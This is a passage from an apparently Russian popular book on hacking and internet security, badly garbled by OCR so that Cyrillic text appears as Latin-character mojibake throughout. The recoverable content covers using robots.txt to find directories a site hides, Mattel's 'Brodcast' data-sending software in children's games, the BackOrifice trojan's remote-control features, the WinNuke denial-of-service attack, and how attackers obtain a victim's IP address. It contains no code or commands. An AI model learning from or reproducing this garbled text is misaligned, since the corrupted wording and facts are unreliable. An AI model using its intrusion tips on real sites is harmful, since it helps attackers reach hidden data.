HEeJIb3$1 He YUUTHIBATh, YTO 110 CBOEl Ipupoje Internet momo6eH 3p10y4nM mec-
kaM: Web-cTpaHUILIBI TTOCTOSTHHO U3MEHSIIOTCS, YAAISIOTCS WM TepeMelia-
forcs. ITo HEKOTOPBIM OLIEHKaM, CPEIHSS TIPOAOKUTETBbHOCTD KU3HU CTpa-
Hu1b B Internet’e cocTaBisieT YyTh MEHbILIE TIOJYTOPA MECSILIEB.

Jlaxe camble MOILHbIE COBPEMEHHbIE TOMCKOBbIE MAIIIMHBI HE B COCTO-
STHUU 00bsATh Bce Web-npocTpaHcTBo. K uncily MOMCKOBBIX CUCTEM, OXBAThI-
BalOIIMX HauOoJbllee YMCIo cTpaHull, oTHocuTcsl Inktomi. OHa comepkut
ccbuiky Ha 0,5 muipn. Web-cTpaHull, YTO COCTaBJIsSIET MEHEEe TPETU MOJHOIO
oobema Cetu. Altavista B HacTosiiiee BpeMs BKJtoyaeT B cedst 350 MITH. cChl-
JoK. HekoTtopble 13 Hanbosiee MOMyJISIPHBIX MOMCKOBBIX MAIlIMH OXBaThIBAIOT
Bcero okoiio 5% mpoctpanctsa Cetu. bosbirast mpo6ieMa Uit HUX — YCTIETh
3a CTpeMUTENbHBIM pocToM Internet. K ToMy e nepenHaeKcaiiusi Ha NOMCKO-
BbIX CE€pBEpax MPOBOIUTCS OYEHb MEJIEHHO, U YaCTO OHU COJEPXKAT CChLIKU
Ha OTCYTCTBYIOUIME CTPAHUIIBI, YTO TPUBOJIUT K MOCTOSIHHO TMOSIBJSTIOIIEHCS
omnbke 404.

I'maBHOE, 4TO XOTEIOCH OBI TTOXEaTh JIOO03HATEIBHOMY ITOJTb30BaTE-
JIfo, paboTaroleMy ¢ TOMCKOBBIMU MamiMHamu Internet, — He YTOHYTb B MO-
pe nHdopmatu. Bo3aMoXHO, BaM MpUAETCS B MHTEpecax YCIEITHOTO MOMCKa
HAY4YUThCSI ITOTPYXKAaTh Ce0S1 B COCTOSIHME «I3€H». He ncKiIoueHo, 4To co Bpe-
MEHEeM BBl CyMeeTe CO3laBaTh CBOM COOCTBEHHBIC ITOMCKOBBIC MpOTrpaM-
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MLI—pO6OTI>I. Jla MaJio 1 4YeM CTOMUT OBJIAJETh, YTOOBI HAXOAUTh B Cetun TO, UTO
HE B CUJIaX HAWTU HUKTO, KPOME Bac.

71t Tex ke, KTO He BIIOJTHE TIPEACTaBIIsAeT ce6e BO3MOXKHOCTH ITOMCKO-
BBIX MAllIMH 1 HE B COCTOSTHUY PEITUTh, KaKKe (haiijbl M KaTaJOTy OH XOTeJT ObI
HaiiTH, TTOICKaXXeM, YTO MHOTHe caiiThl CeT CHaOXeHBI YIOOHBIM U TOJIe3-
HBIM (haiiJIoM, KOTOPBII HaBepHSKA TMIPUTOIUTCS HAYMHAIOIIUM JIFOOUTEISIM.
Hwms sToro daiina — robots.txt. Mckath ero ciienyeT B KOpHEBOM KaTaJlore Ha-
MEUEHHOTO caiiTa, yKa3aB aJipec To cjenymoliemMy oopasily: http://www site.
com/robots.txt. Maitn robots.txt MpeaHa3HaYeH UISI TOTO, YTOOBI COOOIIATH
IMOVCKOBBIM MaIlllMHAM, KaKKie KaTaJloTu U (ailyibl OHU He JOJIKHBI WHIESKCH-
pOBaTh.

Hu onHa 13 nepeuyncieHHBIX B (aiiie robots.txt Mo3Uluil He ITOSIBUTCS
B OKHE UCIT0JIb3yeMOI1 BAMU IMOMCKOBOI MaIlIMHBI B OTBET Ha Ball 3arnpoc. Ho
KOTZIa BBl OTKPOETE 3TOT haiia M yBUAMTE COMEpKalIecs B HEeM UMeHa Karta-
JIOTOB U (haiiioB, BB CAaMU CMOXeTe HabpaTh MX HETTOCPEICTBEHHO B apeCHOM
CTpOKe Balllero Opay3epa. B pesynbraTe Bbl OJYYUTE AOCTYI K Pa3IUYHBIM
MoJIKaTaJioraM M CTpaHMIaM, KOTOpbIe aAMUHKMCTPATOPhl caiiTa MpPeanouIn
OBI cIIpsITaTh OT Bac. DTO, KOHEUHO, KaK pa3 Te camMble ITOAKATaJI0TU U (aiiibl,
KOTOpBIE TOYTH HaBepHsIKa TMPENCTaBISIIOT MHTEepPeC Ui MOTeHUHUATbHOTO
B3JIOMIIMKA.

A 9TO Xe TTOPeKOMEHI0BaTh onepaTtopamM Web-caiiToB, OITacaroImmMcst
CTaTh XEPTBOU «3aIPOCOB Yepe3 YepHBI Xom»? EMMHCTBEHHO MpaBUIIbHOE
pellleHre IUTS TaKMX CITydaeB SIBJISIETCSI CAMOOYECBUIHBIM M COBCEM HECIIOX-
HBIM: HY>XHO TTPOCTO MPEKPATUTh TOMEIATh BaXKHYIO MH(MOPMAIIUIO B MECTaX,
JOCTYT K KOTOPBIM OTKPHIT T BeeX. PaitraM, KOTOphIe BBl He CTaiu OBl pac-
TTeYaThIBaTh HAIIPABO W HAJICBO W HE TTOMECTWJIA OBl Ha TOCKY OOBSBICHUM,
MTPOCTO Hevero jaeiath Ha Web-caiiTe.

fAnasa 11.
MporpamMmbI-LLINMOHbI B ATCKUX UTPaX

B nocnenHee BpeMst y9aCTUINCH CIy9and OOHAPYKEHMSI B CAMbIX OOBIY -
HBIX TTPOTPAMMHBIX MTPOAYKTAaX HEOOJBIINX MO 00bEeMY «IIIMMOHCKUX 3aKJia-
JIOK», TIEpeChUIAIONINX JTaHHBIE O TI0JIb30BaTele B aapec (hUpMbI-ITPONU3BOIM-
Tenst. Takue «3aKiIagku» TOSIBISIOTCS, YBBI, JaXe B UTPOBBIX MpOTrpaMmax,
MpeTHa3HAYeHHBIX TS IETe.

OnuH U3 Mosib3oBaTeseil, MPUBBIYHO 3aMYCTUB TMeEpe] BIKIIOYEHUEM
CBOEro JOMAIlHero KOMIbloTepa nporpammy-peBu3op ADinf, coBepiiieHHO
HEOXUIAHHO ISl ce0st 0OHAPYKWJI 3aNpsITaHHBIN B KaTasiore Windows HOBbIit
ucnosHsieMblii daiin. OH nosiBuics nocie Toro, kak Ha [TK ObL1a ycTaHOBIE-
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Ha NpeHa3HaYeHHas 151 pebeHka nporpamma «Mrpsl ApTypa 1St pa3BUTHS
HaBLIKOB UTCHMS» aMepuKaHCKoi (pupmbl Mattel Interactive. ITonb3oBaTesnst
B3BOJIHOBAJIO MPEXKJIE BCETO TO, YTO HEU3BECTHBIH (haiti ObLT 3aMMcaH Ha BUH-
yecTep 6e3 ero BeoMa. «BHecTH MoOJIHYIO SICHOCTh B MpeAHa3HauYeHUe Mpo-
rpaMMbl, cofiepKauleiicsi B 3ToM (aiiie, MHe Tak U He yIaJloCh, — paccKasbl-
BaJl OH. — M3-32 MpUMEHEHHOI B Hell MOILIHON KPUIITO3ALIUTHI I TPOCTO HE
B COCTOSIHWMM y3HaTh, YTO K€ OHA JeJIaeT».

B otBet Ha 3anpoc dupma Mattel BexJIMBO MOSICHWIIA TI0JIb30BATENIO,
YTO JaHHas MporpamMma HasbiBaeTcsl Brodcast m yctaHaBIMBaeT CBSI3b C HX
cepBepaMu, YTOOBI COOOIINUTH 06 MHCTAJIISILIMU KOHKPETHOTO TTPOTPaMMHOTO
npoaykrta. [Ipu 3Tom mporpamma He coOupaeT Kakylo-aubo MH(opManuo
JIMYHOTO XapakTepa W He WACHTUPUIUPYET KOHKPETHOTO IOJIb30BaTEJIs.
Bwmecre ¢ Tem Mattel cooOmmiia, 94To IuIaHUPYeT B OJvpKaiiiiee BpeMsI IIOMeC-
TUTh Ha cBoeM Web-caiiTe yTUIUTY, TIpeqHa3HAYaeMyto UTsl YIAJIeHUS Tpo-
rpaMMbl Brodcast ¢ XXecTKMX AMCKOB ToJib30BaTeneit. CripaBelJIMBOCTH paau
3aMeTHM, YTO (hMpMa JeHCTBUTENLHO 3TO cleiajia, U Terepb KaxkIbIi kea-
IOIIMI MOXET 3arpy3uTh C €€ caiiTa mporpammy cleanbc.exe.

CryyaliHol >KepTBOi1 Bce Toil ke Brodcast uyTh He cTal ellie psii MoJb-
3oBaresieit. OqHaXIbl BeYEPOM, CUIS TIepe]l TeJeBU30POM, MOJIONIbIE CYTIPYTH
C MHTEpecoM HabJIIofaId, KakK UX MaJIeHbKUE CHIHOBbS YBJICUEHHO UTPAIOT Ha
JIOMaIlTHEM KOMIIbIoTepe B «YUTaolero Kpojanuka» — MONyJIsipHYIO UTPOBYIO
nporpammy ¢upMmbl Mattel Interactive, mpeagHazHaAYeHHYIO JJISI OOYYeHUS Ie-
Tell YTeHWIO W mMpaBonucaHuio. Korma aetm Haurpaauch W OTNPaBUIWCH
CIaTh, TJIaBa CEMbU Mepeces K KOMIbIoTepy U Bbilien B Internet, 4ToObI He-
MHOTro nopaborarb. KakoBo xe ObLIO ero yauBieHue, KOrua 4epe3 HECKOJIbKO
MMHYT ycTaHOBJeHHbIN Ha [TK MexceTeBoil aKpaH BblIasl MpeaynpekIeHue,
4TO Mporpamma «YuTawIimuii KpoJauK» MbITaeTCsl TaAlHO MepeciaTh KaKue-To
JIaHHBIE C €70 KOMITbIoTepa B ampec Mattel.

BHyTpu BHelllHe 06€300MIHOI AETCKOM MporpamMmbl 00€CIOKOEHHbBIE
pOIUTEN OOHAPYXKUIIN «3aKJIaAKy» — HEOOJIBIIIYIO ITpOrpaMMy, KOTopas ca-
MOCTOSITEJIbHO YCTaHABIMBAETCS HA XKECTKUI AUCK KOMITbIOTEPA U MOXKET ITe-
penaBsath U ToJydyaTh MH(GOPMALIMIO B TO BpeMsl, KOTAa MOJb30BaTe/Ib HAX0-
nutcsa B Internet. HacToilumBble TOMBITKU CYIIPYrOB OINPEAEINUTh, KaKWe Xe
naHHble cobpan Ha ux [1K u meiTaics nepeciaTb CBOUM co3faTessMm «Hura-
IO KPOJIUK», YCIIEXOM HE YBEHYATUCh. VUM JTUIITb yIaa0Ch YCTAHOBUTD, UTO
MpeaHa3HauYeHHasl sl epechblIKM MHMopMalius Oblia 3amndpoBaHa ¢ UC-
MOJIb30BAaHMEM OYEHb CHJIBHOTO KPUIITOAJITOPUTMA.

®upma Mattel coobimmia HeIOYMEBAOIIMM KIMEHTaM, YTO B TPO-
rpamMMe Brodcast, koropast sSiBWJach NMPUYMHON WX TPEBOTM, HET HUYETO
CTpaIIHOTO. DTa TporpaMMa MOMeIlleHa TMOYTU Ha COTHIO HaMMEHOBaHWI
KOMIIAaKT-TMCKOB KOMITAHUY B PEKJIAMHBIX U MAapKETUHTOBBIX 11esX. Ee mep-
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BOHaYaJIbHOE MIpeJHa3HAYeHKUE COCTOSIO B TOM, YTOOBI MpeaiaraTh moTpeou-
TEJII0 HOBbIE MTPOrpaMMHbBIE€ MPOAYKTHI U TIEPEChUIATh C €€ MOMOIIbIO MaTyu
IU1s1 BBIsIBIEHHBIX o1n60K. Kynusimm CD-ROM ¢ nporpammoii « Arpst Ap-
Typa JUlsl Pa3BUTHSI MBIIJIEHUSI», K TIPUMeEpY, MpejiaraeTcsl 3arpy3utb oec-
MJIaTHYI0 (GUPMEHHYIO 9KPaHHYIO 3aCTaBKY «ApTyp».

HeBoJbHBIM yYaCTHUKOM eIlle OJHOTO 3MM30/a, CBA3aHHOTO C IPo-
rpamMMoii Brodcast, cTaym n3BeCTHBIN aMepPUKAHCKUI 3KCTIEPT B 00JIACTU KOM-
neloTepHoi 6e3omacHocT CuMcoH apdunken. Haxonsce Ha 6opTy aBua-
JlaliHepa Haj ATJIAaHTMYECKUM OKEeaHOM, OH paboTajl Ha CBOEM HOYTOYKe.
HeoxxumaHHO KOMITbIOTEP MEePEKITIOYMIICS B OHJIAMHOBBIN pexknM. BepHyB ero
B o(daitH 1 mpoaoJkKMB HabMpaTh TeKCT, [apduHKen BCKope 3aMeTHII, YTO
HOYTOYK BHOBb CAMOCTOSITEJILHO TTepelliel U3 aBTOHOMHOTO peXXrMa B OHJIali-
HOBBIN. YOEIUBIIKNCH, YTO KOMITBIOTEP €My HE TTOMIUHSIETCS U YIIPSIMO CTpe-
MUTCS B OHIaiH, [apduHKeT 06paTUiICs K UICTIBITAHHOMY CPEICTBY — Iepe3a-
rpy3ke. Korma u 3To0 He TOMOTIJIO, OH peIIvI pa3oOpaThcsl B TOM, YTO 3Ke
IIPOUCXOIUT C €T0 HOYTOYKOM, XU OOHapyXuj1 HeKyto Imporpammy DSSAgent,
paboraloniyio B GOHOBOM pexkume. OCTaHOBUTH €€ yIaJIOCh TOJBKO C TTOMO-
IIBIO TICIIeTYepa 3a1ay.

JanbHeiilee u3ydeHue mokasajio, 4YTo peectp Windows Ha HOyTOyKe
ObLT MI3MEHEH TaKUM 00pa3oM, UTO HOBasl TporpaMMa aBTOMaTHYECKU 3aITyc-
Kajnach npu 3arpy3ke OC. Ha xecTKoM OMCKe OHa MMeJia BUJI CHCTEMHOTO
¢aiina, KOTOpbIil MOSBWICS B TOT MOMEHT, Korma aodb IapdunHkesna ycra-
HOBWJIa Ha €ro KOMIIbIOTepe AETCKYI0 UTPOBYIO OOYyYalolIyl0 IMPOTrpaMMmy
«YTeHue HameperoHKu ¢ ApTypomM» ¢ OTHOMMEHHOr0 KOMITakT-aucKa. bosee
[NIy0OKO€ HCClIeloBaHue MO3BOJIMIIO ompeneauThb, uto DSSAgent comepxXut
KOMIIOHEHTHI KpunTocucteMbl Pretty Good Privacy, ymeeTr oTnpaBisiTh €K~
TPOHHYIO MOYTY M HaJAeXHO MPSTaTb OT HEOIBITHOTO TOJb30BaTeNsl CBOU
¢ynkuuu. Bo3BpaTusiiucek nomoit, I'apdunken 6e3 Tpyaa Haiien B Internet
MIPOU3BOAUTENS MporpaMMbl — pupmy Mattel Interactive, oT KOTOpoii U I0O-
JIYYWJT MOAPOOHBIE Pa3bsICHEHUsI, YK€ U3BECTHbIE HaM I10 TIEPBLIM IBYM CITy-
qasM.

[IpaBna, oIMH MOMEHT B 3THUX Pa3bsICHEHUSX BCE XK€ 3aCIYXKUBAET
creimaipHoro ynoMmuHanus. I[lonbitku DSSAgent, siBisiiolieiicss coctas-
HoIi yacTblo Brodcast, BbIiTH B OHJIaliH BO BpeMsl TpaHCATJIaHTUYECKOTO Te-
peseta hupma oObSICHUIA KAKUM-TO HEMOHSITHBIM JIs1 Hee caMoii cooeM B
paboTte nmporpaMmbl. «B 1ITaTHOM pexkume, — cooOIIMIa COTpyAHUILIA Up-
Mbl Mattel, — mporpamma 10JixHa BBIXOIUTH B Internet TobKo BO BpeMsi ce-
aHca paboThl mosib3oBaressi B CeTH U K TOMY e COBEPUIEHHO HE3aMETHO».
KcTtaTn, Kak BBISICHWINM aMEpPUKAHCKUE PEBHUTEIN HEMPUKOCHOBEHHOCTH
YACTHOW XW3HU, K KOTOpbIM MpuHamiexut u CumcoH lapduHken, nmpo-
rpamma Brodcast Bkitoyanach B OOJIBIIMHCTBO MPOrPaMMHBIX MPOJYKTOB,
peanu3oBaHHbBIX (upmoii-ipousBoautesem Mattel Interactive B TeueHue
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nocjeaHux noyyropa jet. OHa aBTOMaTUYECKU YCTaHABIMBAIAaCh Ha XKeCT-
kue aucku [TK paxe B Tex ciaydasix, Korja nojib30BaTeJv NPpU UHCTAUISILIUU
HOBBIX WTPOBBIX MPOrpaMM YKa3aHHOW (UPMBI yaajsuiu «TajlouKy» W3
(haxxka ¢ HaaMKUChIO «UCIOIb30BaTh Brodcast», ecjii OHU €ro, KOHEYHO, 3a-
Meuanu. B pesynbrare hupma Mattel ynocrounach 4ecTv ObITh YIIOMSIHYTOM
Ha MepBOil cTpaHULE MOMYJISIPHOTO Cpeu aMEePUKAHCKUX MPaBO3allMTHU-
KOB caiita Privacy.net.

3aech OymeT yMeCTHO CKa3aTh, YTO IIONOOHbBIE «ITOJAPKH» BCTPEUAIOTCS
HEe TOJIBKO B IIETCKMX UTpaxX Ha KOMITaKT-AucKaxXx. MHOTrMe GecruiaTHbIe TTpo-
rpaMMbl, B TOM YMCJIe UTPOBbIE, KOTOPbIE MOXHO 3aKauaTh U3 Internet, conep-
3KaT, Hapsiy ¢ peKjIaMoi, caMmble HACTOSIIIIME «IIMTMOHCKUE 3aKiIaakn». Tak,
HanpuMep, 6ecruiatHast rnporpamma-buisTp pupmbl Surf Monkey He TobKO
MO3BOJISIET POAUTENSIM 3aKPBITh JETSM JOCTYIT KO BCSIKUM <«HEXOPOILIUM»
Web-caiitam. OHa ellie UMeeT MPUBBIUKY HaMpaBIsTh (GUpMe-TTPOU3BOAUTE-
JII0 KOe-KakKue aHHble, B ToM yucie [P-agpeca monb3oBareseit, o KOTOpbIM
MOHO TOYHO OIpENe/UTh UX MeCTOHaxoxaeHue. M3-3a momHsATOrOo amepu-
KaHCKMMM MPaBO3aIIMTHUKAMM IlIyMa YKa3aHHas (hupma oObsIBUIIa O HEMe/I-
JICHHOM TIpeKpallleHUM TepechlIKM Ha CBOM cepBep J00oi MHGbOopMaluu
JIMYHOTO XapakKTepa O MoJIb30BaTeIsX.

Kak Hu cTpaHHO, HO HEKOTOPBIX JIIOIeH COBEPIIIEHHO HEe BOJIHYET, YTO
Kakue-To gaHHbie ¢ ux I1K Oyayt yxomuth 4yepe3 Internet B ubM-TO agpeca.
Jpyrue, HarmpoTHUB, OYeHb OOECTIOKOEHBI TeM, UTO Jaxe MpeaHa3HaueHHbIe
IUTSL IeTel KOMITaKT-AMCKY UCTIOIb3YIOTCS JIJIS TIOJYYEHUST C KOMITBIOTEPOB UX
poauTesieil HeM3BECTHO KaKoi MHGopMaluu. DTU JI0AU YOeXIEHBI, YTO B
npuHIUIe ycraHoBka Ha [1K mmuoHcKol mporpaMMbl, peaHa3HaueHHON
IUTSl TATHOM Tiepesaum JaHHBIX yepe3 Internet, Mo3BoJISIET €€ X03s5eBaM TOJTy-
YUTh C KOMITbIOTEpa JI00YI0 MHGOPMAIIUIO, B TOM YHC/IE 3JIEKTPOHHYIO MOYTY,
MapoJii ¥ HoMepa KPEAUTHBIX KapTOUeK.

Mexny npouuM, Te noab3oBarenu [1K, kro obecnokoeH BO3MOXHO-
CTBI0O HECAHKIIMOHMPOBAHHOW MEPECHUIKUA KaKON-TMO0 MpOorpaMMoi-1Inmo-
HOM JJAHHBIX C X KOMIIBIOTEPOB Yepe3 Internet, MOryT ckayaTb U YCTAHOBUTH
y ce0s1 MexKceTeBoi 9KpaH Zone Alarm, KOTOPbIA MPU HEKOMMEPUYECKOM KC-
TOJIb30BAHUMU SIBJISIETCS OECTUIATHBIM JUTS YACTHBIX JIML. VIMEHHO OH M MO3BO-
JIUT BBISIBUTDH «IIMMUOHCKYIO 3aKJIAIKY».

hnaBa 12.
Kak 3awutntb ceb4 B Internet?

JI1060i1 mosp30oBaTens Internet paHoO WIIM ITO3MHO CTAJIKUBAETCS C IIPO-
061eMamu 6e3omacHocTy. HampuMep, moaydyaeT orpoOMHBIN cUeT 3a IT0JIb30Ba-
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Hue dial-up WM HaXOIUT CBOIO BeO-CTpaHUUKY MCKaxXeHHOW. M e pe3ko
3aMeUISIETCS] CKOPOCTh pabOTHI €r0 KOMIThIOTEPA.

Haunem nmo mopsinky. Hanbonee omacHo, moxanyii, BOPOBCTBO KOH-
(uneHManbHONM MHGOPMALIMU. DTO, B IEPBYIO 0YePe/Ib, BAlll JIOTUH U Mapojb
Ha noctyn B Internet. Kakum o6pazoM nomo6Hasi uH(opmaiys MoXeT cTaTh
JIOCTYITHO1?

IIpocrelinmii 1 HaubOoJee YaCTO UCIIOJAb3YEeMbIii CIIOCO0 — 3TO TPOSIH-
1bl. BHeApMBIIMCH B Balll KOMITBIOTED, TPOSTHCKAsI TTpOorpaMmMa ToJiydaeT Hajl
HMM TOJIHYIO BJaCTh.

3nech HEOOXOAUM HEOOJbILIONH UCTOPUUECKUI IKCKYPC. XOTSI TPOSH-
CKM€ TIPOTPaMMBI CYIIIECTBYIOT JOBOJIEHO TaBHO U OTJINYAIOTCS GOTBITAM pas3-
HooOpa3ueM, Ho Haubosiee rPOMKHUE COOBITHS B 3TOI 00J1aCTH CBSI3aHBI C TTPO-
rpammoii, HaseiBaeMoii BackOrifice. MHdpopmanua o BO Bnepsbie Oblia
onyboaukoBaHa 21 utons 1998 roma. I'pynmna xakepoB, Ha3bIBarolasi ceOst
«Kynbt MepTBOit KOpoBbl» — «Cult of the Dead Cows», cozaana TpostHUa JUIst
Windows 95/98. YcraHOoBIeHHbIN Ha MalIMHe XepTBbl, BO mo3Bossut J1to60-
My, 3HAIOIIIEMy HOMep TTopTa ¥ TapoJjib, BHITIOTHATH HAa MaIllMHE KEePTBHI He-
KHWe TIPUBIJICTUPOBAHHBIC OTICPAIIMU: UCITONHITh KOMaHIbI OITEPAIlMOHHON
CUCTEMBI, IIPOCMATPUBATh (haliyIbl, CKAYMBATh W 3aKaUyMBaTh JTIOOBIC (DATBI,
MaHUITYJTUPOBATh PETHCTPOM (registry), oaydaTh CITUCOK aKTUBHBIX ITPOIIEC-
COB, 3aBEpPIIaTh IIPOM3BOJIBHBIN MTPOIIECC, HE3aMETHO TIOPOKIATh HOBBIH ITPO-
IIecc IyTeM 3aITycKa CepBHCa, TIOyJaTh MTOJTHYIO KOTIMIO KIIABUaTYPHOTO BBO-
Ja u MHoroe npyroe. ['paduyeckuit kiiueHT BO 6b11 criocobeH, KpoMme Toro,
TTOJTY9aTh COMEPKUMOE dKpaHa XepTBhI. [lompocty ToBops, ucnons3ys BO,
MOXHO JIeJIaTh C KOMITbIOTepoM Bce. U make Gosiee TOro, MpOU3BOIUTH TaKKe
oTiepaIi, 0 BO3MOXHOCTH KOTOPHIX OOBIYHBIN ITOJIB30BATEb M HE TTOJ03pe-
BaeT.

Co06CTBeHHO, TIpOrpaMMa COCTOMT U3 IBYX YacTeil: cepBepa U KJIMEHTA.
CepBepHasi 4acTb BHEAPSETCS Ha KOMITbIOTEp XepTBHI. [Tocie 3Toro momaxito-
YUTBCS K KOMITBIOTEPY-KEPTBE MOXHO, MCTIONB3YSI KIIMEHTCKYIO MPOoTrpamMmy.
Bcto Bropyto nosoBunHy 98 rona CeTh MCTIBITBIBAJIA MOBaIbHOE yBieueHue BO.
[Moxkairyit, KOTMYECTBO B3JIOMAaHHBIX C TTIOMOIIBbI0 BO KOMIIBIOTEPOB M ceTeii
TIPEBBIIIIAET YHCIIO KEePTB BCEX OCTABHBIX IIIMPOKO M3BECTHBIX aTaK U TUBEP-
cuii. [Tonmynsiprocts BO moponmia BoIHY KJIOHOB, U3 KOTOPBIX HAN0O0JIee 13-
BecTHBI NetBus, NetSphere, GirlFriend, GateCrasher u ap.

Kaxkue cnoco6nl 3a1mThl 31eCh MOXHO ITOCOBeETOBaTh? POBHO Takue,
KakK JUIs 3allMThl OT BUPYCOB. B nepBylo ouepens — npenoxpaHeHue. He cto-
WT 3aMycKaTh HEM3BECTHO OTKY/A B3SIBIIMECS] MPOrpaMMbl, a 0COOEHHO TpH-
LIeIre K BaM I0 MoyTe Wu ToJyYeHHbIe B yate. B KauecTBe 3alluThl peKo-
MEHAYETCS TakKXe YCTAaHOBUTb cebe Ha KOMIIBIOTEp COBPEMEHHYIO
aHTHMBHUPYCHYIO IIporpammy, Hampumep, AVP. Jlpyroii moaxod: ycTaHOBKa

186 XakepcKkue TpoKu

Crnenraau3poOBaHHONM TPOTpaMMbl, BBHITTOJHSIONIEH (QyHKIMU aiipBoiiia.
31ech MOXHO MocoBeToBath @Guard, npasia, OH BOBCE He O€CIUIaTHBIA.

I[ToMruMO OCMBICJIEHHBIX aTakK, aTaK C ILIEJbIO MOJIYYUTh KaKylo-JI1M00
nHpOpMaIUIO, CYIIECTBYIOT U JUBEPCUU IO TUIY MEJKUX MakocTeit. XoTs,
CMPaBEeTMBOCTH Pajivi, 3aMETUM, YTO TTAKOCTH MOTYT ObITh HE TAKUMU YK U
MeJKkUMU. OOBIYHO 3TO aTaku, BHI3BIBAIOIIME TTOBUCAHUE WK Tepe3arpy3Ky
KoMITbloTepa, nHaue rosopsi, D.0O.S.-araku (He myratb ¢ MS-DOS, D.O.S.
pacmmdpoBbsiBaeTcs kak Denial of Service, T.e. «0TKa3 B 0OCIy>KMBAaHUW»).
IIpakTtrueckoit monb3el D.O.S.-ataku 17151 aTaKyOIIEro He HECYT, 3TO HEYTO
BpOJie BaHIaIM3Ma — pa3pylliui, U XOpoIo. 37eCh OISITh e YMEeCTeH UCTOPH -
YEeCKUI 9KCKYpC.

7 mast 1997 rona 611 0OHapOJOBAH MPUHLIMIT CAMOM, MOXaTyit, HaIlly-
meBieit D.O.S.-ataku nox HazBaHueM WinNuke. Ee xepTBamMu CTaHOBUJINCH
Windows-cucrtemMbl. ABTOp MeTOJa IOMECTUJI €ro ONMCAHME U HCXOMHBIN
TEKCT IIporpaMMbl B HECKOJIBKO news-KoH(pepeHuuii. BBumy ero kpaiiHei
MPOCTOTHI MPAKTUYECKU KaX/IbIif YEJIOBEK MOT BOOPY>XKUTHCS TUM HOBEHLLIUM
opyxueM. OueBUAHONM MEPBOIl XKepPTBOIl cTay www.microsoft.com. JlaHHbBII
cepBep HAXOOWJICSI B COCTOSIHMM <«HECTOSIHUSI» 0oJjiee JOBYX CYTOK.
Microsoft.com npekpaTuia OTKIMKATLCA B IMSITHUILY BeuepoM (9 Mast) U TOJIbKO
K 00eny moHeaeIbHKa BHOBb 00peJ YCTOMUYMBOCT. I1prXxoauTcs TOJBKO I0-
JKaJIeTh €0 aIMUHUCTPATOPOB, KOTOPbIE HA TIPOTSIKEHUU YUK-3HAA ObLIA BbI-
HYXJEHbI PEryJsipHO HAXKMMATh BOJIIIEOHYI0 KOMOMHALIMIO U3 TPEX KJIaBHUIII,
rocJjie 4Yero peaHUMUPOBaHHBII cepBep Maaain BHOBb. KoHeuHo ke, Hapsay ¢
JKEPTBOM HOMep ofauH, B Mae 97 masu MHorue cepBepbl. K yectu Microsoft
cJielyeT 3aMEeTUTh, YTO 3aIUIaTKU MOSIBUJIMCH U CTaJIA TOCTYIHBI JOCTATOYHO
OLICTPO.

Hanee, B oM xe 1997 rogy, D.O.S.-ataku cTanu MosiBISITbCS C 3aBUJI-
Hotli peryJsipHocTbio. Teardrop, SSping, Land, Ping of Death u MHorue npyrue
BO3HMKAaJIM OYKBaJIbHO KaxXaylo Heaelto. [ne-To B cepenuHe jeTa www.micro-
soft.com TpPUKPBIIM KaKUM-TO OUYeHb XUTpbIM (aiipBouiom. C Tex mop
MPOIIJI0 MHOTO BpeMeHU, HO monooHoro 6yma D.0O.S.-aTak Gosblie He ciy-
4aJjochk.

Wrak, 9T0 Xe MOryT caeiIaTh Ballld HeApyru, ncnonb3ysa D.O.S.-ataku?
OObIYHas aTaka BHIIISIIMT KakK TporpamMma. HamvcaHHast HETTOHSITHO KeM 1
I1e, OHA TIPEeIOCTaBIIsIeT BO3MOXHOCTh BBoia IP-anpeca atakyemoii MallliHBbI:
HaXMMaeM KHOIIKY, U JXepTBa yMUpaeT He Mydasich (MJI Mydasich). B ciryuae
VCTIEIIHOM aTaKh KOMIThIOTEP-KepTBa MOBUCAET WM Tepe3arpykaercs — 1
TO, W APYroe MOXET MPUBECTU K ToTepe nHdopmauu. MHOTIa KOMIIbIOTep
MOXET ITPOCTO OTCOENUMHUTRCS OT CeTH.

IpeaBuas nomyasipHbIA BOMPOC, aapeca, Mo KOTOPbIM JOCTYMHBI Ta-
KWe TPOorpaMMbl, YKa3biBaTh He OymeM. Jlydiile KocHeMcsl Ipyroro Bompoca.
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Benpb m1st Toro, yToObl OCYIIECTBUTH TAKOTO PoJa aTaky, 3J0YMBIILIEHHUK
00s13aH 3HaTh Baul [P-aapec (a rakxke TCP-1iopT, HO 3TO YXe ToHKocTH). Kak
JK€ OH MOXeT ero y3HaTh? Yalile Bcero 3710Je10 1 He HYy»KHO UCKaTb aapec. Beab
€ro 1LieJb — MPOCTO paspylleHue. ATaka BeneTcsl Ha aapeca, yragaHHble Cly-
yaiitHo. OT Takoro nojaxoja He cKpbIThcsl. Ho eciu Bce-Taku Balll aapec ObLT
BBIUMCIIEH LI€JIeHAMPaBJIeHHO, TO KaK 3T0 ObLIo caenaHo? O4yeHb JIETKO 3TO
ocyniectBUTh yepe3d ICQ. ICQ moxeT nmokasarth Bai [P-aapec. O6s13aTebHO
yctaHoBUTE (pytaxkok, 3ampelnaoinuii mokassiBath [P-aapec. [IpaBna, B aToM
cJlyyae OCTaeTcsl BO3MOXHOCTb MOJCMOTPETh aJpeC MOCPENCTBOM CTaHIAPT-
HOW YTWJIMTHI netstat. DTO BO3MOXHO B Cily4yae, €Clu COeAMHEHUE OCyIlle-
CTBJISIETCSI HAMPSIMYIO — MOOOPOTH 3TO MOXHO MOCPENCTBOM HACTPOMKHU pa-
6oTbl ICQ yepe3 aHOHUMHBII TPOKCU-CEPBED.

Kpowme ICQ, Baur IP-agpec moxeT ObITE 1ToTydeH uyepe3 IRC. Eciu Bu
noJsp3yetech IRC, To Bess mHMOpMalms o0 agpece CTAaHOBUTCS JOCTYITHOM 1O~
CPEICTBOM CTaHAapTHOM KOMaH 16l Whois.

Ecnu Bam Hexpyr HaXOAUTCS B OMHOM JJOKAJIbHOM CETU C BaMU, TO OH
MOXeT y3HaTb Baill [P-ampec 1o ceteBoMy MMEHU Ballleli MaIllMHBI, TTOCPE-
CTBOM CTaHIAPTHBIX YTWJIUT TUIA ping, tracert u ap. CaenaTh 31eCh HEJb3sl
HMYETOo, paayeT JUIIb TO, YTO 3JIOYMBIIIJIEHUK HAXOAUTCS B TIpeaesiax npsiMoit
JIOCSITAéMOCTU Y MOXKHO BO3IEMCTBOBATh HA HETO aAMUHMCTPATUBHBIMU WU
GU3NIECKUMU METOJAMMU.

Ecnu BaM XX13HEeHHO HE0OXOIMMO MOKa3bIiBaTh cBOM [P-aapec, Kak Bce
